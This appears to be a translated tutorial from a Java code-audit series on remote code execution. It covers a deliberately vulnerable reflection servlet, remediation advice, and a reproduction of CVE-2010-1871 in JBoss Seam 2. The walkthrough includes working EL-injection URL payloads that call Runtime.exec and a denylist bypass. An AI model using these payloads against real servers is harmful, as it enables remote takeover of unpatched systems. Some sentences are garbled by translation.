0x00 Preface
I created this series because online Java code-audit material is usually fragmented and unfriendly to beginners. I am also learning Java auditing, so the series records and summarizes the process.
This series is primarily forreaders with basic Java syntax knowledge. The series covers audit environments, SQL injection, XSS, SSRF, RCE, file inclusion, deserialization, classic Struts2 and WebLogic vulnerabilities, Fastjson, Jackson, and related case studies. The order may change, but the overall scope will remain. I hope the series proves useful.
The following articles are currently complete:
[Introduction to Java Code Auditing—01] Preparing for an Audit /codeaudit/588.html
[Introduction to Java Code Auditing—02] SQL Injection Principles and Case Study /codeaudit/600.html
[Introduction to Java Code Auditing—03] XSS Principles and Case Study /codeaudit/605.html
[Introduction to Java Code Auditing—04] SSRF Principles and Case Study /codeaudit/678.html
0x01 Preface
Download the RCE test source:
https://github.com/cn-panda/JavaCodeAudit
Import the project to obtain the following directory structure:

The project invokes class methods for operations. The Servlet calls rceTest.CommandFound(command, method, str), where command is the command class, method is the invoked method, and str is its content.
This project simulates add, delete, and modify requests from the web by invoking AddCommand, DeletcCommand, and ModifyCommand methods on Command classes.
0x02 Vulnerability Principles
1. RCE Definition and Principles
RCE means remote code/command execution: an attacker submits a command through a web or client interface, and missing validation or server-side logic flaws cause it to execute, sometimes without an absolute path.
RCE often results when executable functions or custom method entry points are not filtered, letting clients submit malicious statements for server-side execution. Common functions include:Runtime.exec(). Audits must not rely on this function alone; Process and other targetsProcessBuilder.start()and related targets are also important.
2. Where RCE Appears
RCE appears in many scenarios:
1. Direct server-side execution functions (exec(), etc.) with insufficient argument filtering
2. No direct server-side execution function (exec(), etc.) with insufficient argument filtering
3. RCE through expression injection: OGNL, SpEL, MVEL, EL, Fel, JST+EL, and others
4. RCE through Java server-template injection, such as Freemarker, Velocity, or Thymeleaf
5. RCE through Java scripting languages such as Groovy or JavascriptEngine
6. RCE through third-party components such as Fastjson, Shiro, XStream, Struts2, and WebLogic
These are common RCE scenarios. Causes include weak filtering, deserialization call chains, and unsafe features. This article covers weak filtering; later articles cover the others.
3. Project Demonstration
Using the project above, first inspect its implementation:

command names the requested class, method names its method, and str is the argument. The server receives all three and invokes method. First locate com.sec.pojo.Commandclass, then locate itsAddCommandmethod, then supply its required arguments[add]。

The project simply receives parameters and performs an operation. InrecTest.javacontains the following code:
public void CommandFound(HttpServletRequest req, HttpServletResponse resp) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IOException {
// TODO Auto-generated method stub
PrintWriter print = resp.getWriter();
// Read the parameter
String name = req.getParameter("command");
String method = req.getParameter("method");
String str = req.getParameter("str");
// Get the no-arg constructor of the class
Class getCommandClass = Class.forName(name);
Constructor constructor = getCommandClass.getDeclaredConstructor();
constructor.setAccessible(true);
// Instantiate the class
Object getInstance = constructor.newInstance();
// Get the method
Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
getCommandMethod.setAccessible(true);
// Invoke the method
Object mes = getCommandMethod.invoke(getInstance, str);
print.println("Command about to run: <br>");
print.println(mes);
print.flush();
}
}
The code obtains a class name and methods through reflection. For Java reflection background, see /codeaudit/705.html.
The code contains no obvious execution function such as exec() or system(), yet it is vulnerable to RCE:

The class, method, and arguments are unrestricted, causing RCE—the second scenario listed above.
With deserialization's popularity, RCE frequently appears in gadget chains, which also explains extensive reflection use: layered calls ultimately reach code execution.
0x03 Remediation
Remediation depends on the command-execution scenario. In general:
1. Do not let users control executed commands. If input influences execution, use an allowlist of safe commands; replace non-allowed values with safe defaults or reject them.
2. If user input becomes a command argument, validate it. Denylists are fragile because real arguments are complex and hard to track. Prefer an allowlist and accept only strings entirely composed of approved characters. Allowlists can still be bypassed through combinations of allowed characters, so their design is critical.
3. Attackers can sometimes alter commands through the environment. Execute commands using absolute paths.
4. Apply least privilege. Commands often need very limited permissions. In the example above, if we do not setsetAccessible(true);, preventing attackers from calling Runtime.exec()command.
0x04 Case Study: CVE-2010-1871
1. Case Overview
CVE page:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871
JBoss Seam 2 in JBoss Enterprise Application Platform 4.3.0 for Red Hat Linux does not properly filter JBoss EL input, allowing remote attackers to execute arbitrary code through a crafted URL.
The CVE notes that exploitation requires a misconfigured Java Security Manager. But the issue has two distinct points; searching cve-2010-1871 in Metasploit shows:

There are two exploits. First examine the first:auxiliary/admin/http/jboss_seam_execconfiguration

This exploit targets/seam-booking/home.seam
whereasexploit/multi/http/jboss_seam_upload_execconfiguration:

This exploit targets/admin-console.login.seam. Exploitation fails when the Java Security Manager is configured.
The exploitation point here is:/seam-booking/home.seam
2. Building the Test Case
Environment requirements:Ubuntu 18.04、jdk 1.6、ant 1.6、JBoss AS 5.0.1、JBoss-seam 2.2.0.CR1
Install JDK 1.6 and configure environment variables:
chmod u+x /usr/lib/jvm/java/jdk-6u45-linux-x64.binMake the file executable./jdk-6u45-linux-x64.binExtract the filemkdir -p /usr/lib/jvm/Create a directory for the JDKcp -r jdk1.6.0_45 /usr/lib/jvm/Place the extracted JDK in the directory created above- Install
java/javac/javaws/jarcommand
update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk1.6.0_45/bin/javac 1
update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.6.0_45/bin/java 1
update-alternatives --install /usr/bin/javaws javaws /usr/lib/jvm/jdk1.6.0_45/bin/javaws 1
update-alternatives --install /usr/bin/jar jar /usr/lib/jvm/jdk1.6.0_45/bin/jar 1
update-alternatives --config javac
update-alternatives --config java
update-alternatives --config javaws
update-alternatives --config jar
- Execute
java -versioncommand. Version output confirms installation.
Configure Ant 1.6:
-
First open the profile file
sudo vim /etc/profile -
Append to the file:
# path to the ant directory
export ANT_HOME=/home/panda/www/ant
# path to the jdk you just installed
export JAVA_HOME=/usr/lib/jvm
# leave the rest at the defaults
export PATH=$JAVA_HOME/bin:$PATH:$ANT_HOME/bin
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
After configuring the environment variables, runsource /etc/profileReload environment variables
Configure JBoss AS 5.0.1:
- Extract
jboss-5.0.1.GA.zip - Open
/server/default/deploy/jbossweb.sar/server.xmlfile and search for${jboss.bind.address}, change it to0.0.0.0, as follows:
<!-- A HTTP/1.1 Connector on port 8080 -->
<Connector protocol="HTTP/1.1" port="8080" address="0.0.0.0"
connectionTimeout="20000" redirectPort="8443" />
<!-- Add this option to the connector to avoid problems with
.NET clients that don't implement HTTP/1.1 correctly
restrictedUserAgents="^.*MS Web Services Client Protocol 1.1.4322.*$"
-->
<!-- A AJP 1.3 Connector on port 8009 -->
<Connector protocol="AJP/1.3" port="8009" address="0.0.0.0"
redirectPort="8443" />
InstallJBoss-seam 2.2.0.CR1:
- Extract
JBoss-seam 2.2.0.CR1.zip - Place the extracted files under the JBoss directory:

- Enter
/jboss-seamdirectory and editbuild.propertiesfile and append:
# this path is the Jboss installation directory
jboss.home /home/panda/www/jboss
- Enter
jboss-seam/examples/bookingdirectory and run the installer:ant deploy; installation runs automatically:

After installation, enter the directory under the JBoss root:binfile and run./run.shcommand:

After installation, the site opens locally:


#### 3. Vulnerability Analysis
This vulnerability is expression injection caused by JBoss EL parsing. Vulnerable file:jboss-seam/examples/booking/exploded-archives/jboss-seam-booking.ear/jboss-seam.jar
Decompilation yields this source tree:

/navigation/Pages.java is the entry point. Key code:
private static boolean callAction(FacesContext facesContext) {
boolean result = false;
// Read the value of the HTTP parameter actionOutcome
String outcome = (String)facesContext.getExternalContext().getRequestParameterMap().get("actionOutcome");
String fromAction = outcome;
if (outcome == null) {
// Read the value of the HTTP parameter actionMethod
String actionId = (String)facesContext.getExternalContext().getRequestParameterMap().get("actionMethod");
if (actionId != null) {
if (!SafeActions.instance().isActionSafe(actionId))
return result;
String expression = SafeActions.toAction(actionId);
result = true;
Expressions.MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression);
outcome = toString(actionExpression.invoke(new Object[0]));
fromAction = expression;
handleOutcome(facesContext, outcome, fromAction);
}
} else {
handleOutcome(facesContext, outcome, fromAction);
}
return result;
}
gets parameters. If actionOutcome exists, it passes it directly to handleOutcome function:
// the handleOutcome method
public static void handleOutcome(FacesContext facesContext, String outcome, String fromAction) {
facesContext.getApplication().getNavigationHandler().handleNavigation(facesContext, fromAction, outcome);
Contexts.getPageContext().flush();
}
Directly callfacesContext.getApplication().getNavigationHandler().handleNavigation()
This is equivalent to the familiar statement:FacesContext.getCurrentInstance().getExternalContext().redirect()
handles JSF navigation. Continue into handleNavigation function:
// the handleNavigation method
public void handleNavigation(FacesContext context, String fromAction, String outcome) {
if (!context.getResponseComplete())
{
if (isOutcomeViewId(outcome)) {
FacesManager.instance().interpolateAndRedirect(outcome);
} else if (Init.instance().isJbpmInstalled() && Pageflow.instance().isInProcess() && Pageflow.instance().hasTransition(outcome)) {
Pageflow.instance().navigate(context, outcome);
} else if (!Pages.instance().navigate(context, fromAction, outcome)) {
this.baseNavigationHandler.handleNavigation(context, fromAction, outcome);
}
}
}
If the current request did not callresponseComplete()method, then passisOutcomeViewId()method:
// the isOutcomeViewId() method
private static boolean isOutcomeViewId(String outcome) {
return (outcome != null && outcome.startsWith("/"));
}
If the argument is non-empty and begins with/prefix, enterFacesManager.instance().interpolateAndRedirect()method, with JBoss EL parsing occurring through this call stack:
- interpolateAndRedirect (FacesManager.java)
- interpolate (Interpolator.java)
- interpolateExpressions (Interpolator.java)
- createValueExpression (Expressions.java)
The complete vulnerability flow is:

The vulnerability flow is clear. The remaining task is constructing JBoss EL, an extension of Java EL. For parameter binding:
<h:commandButton action="#{hotelBooking.bookHotel(hotel.id, user.username)}"value="Book Hotel"/>
For value binding:
#{person.name.length()}
// use the length() method to return the length of a string
JBoss EL can reference server-side session objects, their properties, and parameters. Once a base object is resolved, arbitrary methods can be invoked on it, enabling reflective access to other classes and methods such asjava.lang.Runtime, which can be referenced with the following expression tojava.lang.Runtimeclass:
expressions.getClass().forName('java.lang.Runtime')
Java reflection can retrieve one method or all methods from a class.
To retrieve all methods:
expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()
Retrieve one method:
expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')
Run:
expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('xxx')
The full EL expression now works as follows:
%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('xxx')}
Combining the requirements above:
-
must contain
actionOutcomeParameter -
actionOutcomeargument must begin with/prefix -
A destination navigation address is required
-
must include
?symbol -
?symbol must be followed by an argument -
The EL expression must be in
?param=after
The final payload is:
/seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('gnome-calculator')}
Visiting it returns:
/seam-booking/test.seam?canshu=java.lang.UNIXProcess%40ef99e17&cid=118
The result is:

Other payload forms exist online; first usegetDeclaredMethods()Retrieve all methods, then invoke a selected method through the array.
Suppose we want to knowjava.lang.Runtime.getRuntime()the method's index, try visiting:
/seam-booking/home.seam?actionOutcome=/test.xhtml?xxx=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[0]}

It returns:
/seam-booking/test.seam?xxx=public+void+java.lang.Runtime.exit%28int%29&cid=143
is clearly not what we need.java.lang.Runtime(), continue tryinggetDeclaredMethods()[1]
The final result is:
getDeclaredMethods()[6]is equivalent tojava.lang.Runtime.getRuntime.exec()
getDeclaredMethods()[13]is equivalent tojava.lang.Runtime.getRuntime()
The final payload is:
/seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[13].invoke(expressions.getClass().forName('java.lang.R
untime').getDeclaredMethods()[6].invoke(null), 'gnome-calculator')}
Execution result:

4. Remediation
The vendor fixed this vulnerability twice.
https://securitytracker.com/id?1024253
https://securitytracker.com/id/1028601
The first fix checksactionOutcomechecks whether it contains#{and related characters, preventing EL expressions from arriving through HTTP parameters. The second fix checks another parameter,actionIdfix. Here is a brief explanation.
After Seam 2.2.2.Final, JBoss added a denylist/src/main/org/jboss/seam/blacklist.properties, filtering:
.getClass()
.addRole(
.getPassword(
.removeRole(
It was still bypassed with array-like operators against the denylist, based on Orange's approach:Open here. I have not verified this; interested readers can try it): Change
"".getClass().forName("java.lang.Runtime")
change to
""["class"].forName("java.lang.Runtime")
JBoss Seam runs only on JBoss EAP 7, whose maintenance ended in November 2016. Risk is now high because submitted security issues were ignored and outdated third-party libraries remain.
0x05 Conclusion
Code auditing requires hands-on research, analysis, and reproduction. The packages and programs used here are in the project files for readers to reproduce.
0x06 References
https://cloud.tencent.com/developer/article/1547286
https://www.cnblogs.com/jayus/p/11435116.html
http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html
https://docs.huihoo.com/jboss/seam/2.0.0.GA/reference/zh-cn/elenhancements.html
https://www.anquanke.com/post/id/156078
https://blog.orange.tw/2016/12/java-web.html
http://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html